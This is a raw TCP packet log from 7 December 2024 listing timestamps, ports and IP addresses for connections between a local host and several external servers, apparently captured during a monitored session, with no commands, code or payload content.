Dec 7, 2024 00:15:26.816032887 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.816085100 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.816351891 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.816365004 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.816375971 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.816380978 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.820043087 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.820059061 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.820132017 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.820287943 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.820297956 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.907464027 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.907530069 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.907588005 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.907859087 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.907882929 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.907900095 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.907906055 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.909698963 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.909775019 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.909825087 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.910494089 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.910506010 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.910516024 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.910521030 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.910696030 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.910728931 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.910795927 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.911828995 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.911843061 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.912902117 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.912933111 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.913037062 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.913094044 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.913103104 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.935492039 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.935551882 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.935658932 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.936604977 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.936613083 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.942168951 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.942193031 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.942279100 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.942449093 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.942461014 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.062571049 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062593937 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062604904 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062623024 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062632084 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062637091 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062740088 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.062763929 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.062796116 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.062832117 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.083180904 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.083249092 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.083338976 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.083379984 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.083580971 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.083592892 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.083606005 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:27.083611012 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:27.155335903 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:27.155369997 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:27.155456066 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:27.156866074 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:27.156881094 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:27.321926117 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.324086905 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.324115038 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.324630976 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.324636936 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.761754990 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.761816978 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.761864901 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.762243986 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.762257099 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.762269020 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.762274027 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.766611099 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.766637087 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:27.766706944 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.766877890 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:27.766891003 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.259141922 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:28.259437084 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:28.380922079 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:28.381504059 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:28.381608009 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:28.381875992 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:28.424563885 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:28.424868107 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:28.424879074 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:28.425209045 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:28.425596952 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:28.425669909 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:28.480060101 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:28.503767014 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:28.545157909 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.545876980 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.545886993 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.546504974 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.546509027 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.550539017 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:28.550616026 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:28.552357912 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:28.552369118 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:28.552573919 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:28.599895000 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:28.635999918 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.637798071 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.638089895 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.638123035 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.639656067 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.639661074 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.640264988 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.640275955 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.641120911 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.641127110 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.647329092 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:28.662467003 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.663075924 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.663084984 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.663713932 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.663717985 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.984246969 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.984313965 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.984402895 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.984603882 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.984616041 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.984642982 CET	49759	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.984647989 CET	443	49759	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.988248110 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.988276005 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:28.988368034 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.988554955 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:28.988567114 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.073014975 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.073082924 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.073148012 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.074879885 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.074949980 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.075026989 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.080204964 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.080272913 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.080363035 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.101432085 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.101490021 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.101588011 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.114264011 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.114288092 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.114301920 CET	49764	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.114309072 CET	443	49764	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.117069960 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.117090940 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.117109060 CET	49761	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.117115021 CET	443	49761	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.118083000 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.118104935 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.118118048 CET	49762	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.118124008 CET	443	49762	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.119947910 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.119955063 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.119963884 CET	49763	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.119966984 CET	443	49763	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.124128103 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.124159098 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.124248981 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.124886036 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.124897003 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.126550913 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.126583099 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.127543926 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.127567053 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.127582073 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.127634048 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.127687931 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.127696991 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.128452063 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.128468037 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.157810926 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.157834053 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.157893896 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.158298016 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:29.158309937 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:29.238912106 CET	49774	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:29.238949060 CET	443	49774	172.217.19.206	192.168.2.6
Dec 7, 2024 00:15:29.239023924 CET	49774	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:29.239294052 CET	49774	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:29.239308119 CET	443	49774	172.217.19.206	192.168.2.6
Dec 7, 2024 00:15:29.296295881 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.297513962 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.297525883 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.298051119 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.298058033 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.777833939 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.777921915 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.777981043 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.778310061 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.778326035 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.778333902 CET	49765	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.778338909 CET	443	49765	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.783909082 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.783941984 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:29.784109116 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.784380913 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:29.784396887 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.227832079 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:30.227936983 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:30.234170914 CET	49778	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:30.234198093 CET	443	49778	172.217.19.206	192.168.2.6
Dec 7, 2024 00:15:30.234358072 CET	49778	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:30.234637022 CET	49778	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:30.234647989 CET	443	49778	172.217.19.206	192.168.2.6
Dec 7, 2024 00:15:30.323734045 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:30.354651928 CET	49774	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:30.354788065 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:30.354847908 CET	49778	443	192.168.2.6	172.217.19.206
Dec 7, 2024 00:15:30.445985079 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:30.567231894 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:30.567310095 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:30.568799973 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:30.568808079 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:30.569036961 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:30.570440054 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:30.611341000 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:30.728543043 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.729630947 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.729651928 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.730248928 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.730252981 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.875360966 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.876107931 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.876123905 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.876612902 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.876619101 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.877145052 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.877434969 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.877470970 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.877933025 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.877939939 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.960284948 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.961085081 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.961126089 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:30.961632967 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:30.961638927 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.096873999 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:31.096945047 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:31.097006083 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:31.107171059 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:31.107189894 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:31.107199907 CET	49773	443	192.168.2.6	23.32.185.164
Dec 7, 2024 00:15:31.107204914 CET	443	49773	23.32.185.164	192.168.2.6
Dec 7, 2024 00:15:31.166965961 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.167036057 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.167264938 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.167638063 CET	49769	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.167654037 CET	443	49769	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.171585083 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.171623945 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.171705008 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.171878099 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.171890974 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.264007092 CET	80	49768	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:31.264089108 CET	49768	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:31.312737942 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.312798977 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.312846899 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.313064098 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.313076019 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.313093901 CET	49770	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.313098907 CET	443	49770	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.314434052 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.314496040 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.314580917 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.314662933 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.314680099 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.314691067 CET	49772	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.314697027 CET	443	49772	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.317300081 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.317312956 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.317400932 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.317544937 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.317555904 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.318226099 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.318250895 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.318315029 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.318451881 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.318460941 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.398210049 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.398473978 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.398557901 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.398746967 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.398772001 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.398785114 CET	49771	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.398791075 CET	443	49771	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.402373075 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.402401924 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.402460098 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.409295082 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.409307957 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.515366077 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.519166946 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.519191980 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.519814968 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.519819975 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.957901955 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.957978010 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.958034992 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.993530035 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.993554115 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:31.993565083 CET	49777	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:31.993571043 CET	443	49777	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:32.133758068 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:32.133809090 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:32.133877039 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:32.143608093 CET	49783	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:32.143623114 CET	443	49783	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:32.900775909 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:32.901421070 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:32.901437998 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:32.901949883 CET	49779	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:32.901957035 CET	443	49779	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.037792921 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.038392067 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.038414001 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.038903952 CET	49781	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.038911104 CET	443	49781	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.039524078 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.039803028 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.039810896 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.040186882 CET	49780	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.040190935 CET	443	49780	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.130140066 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.130743027 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.130774975 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.131257057 CET	49782	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:33.131267071 CET	443	49782	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:33.339342117 CET	443	49779	13.107.246.63	192.168.2.6
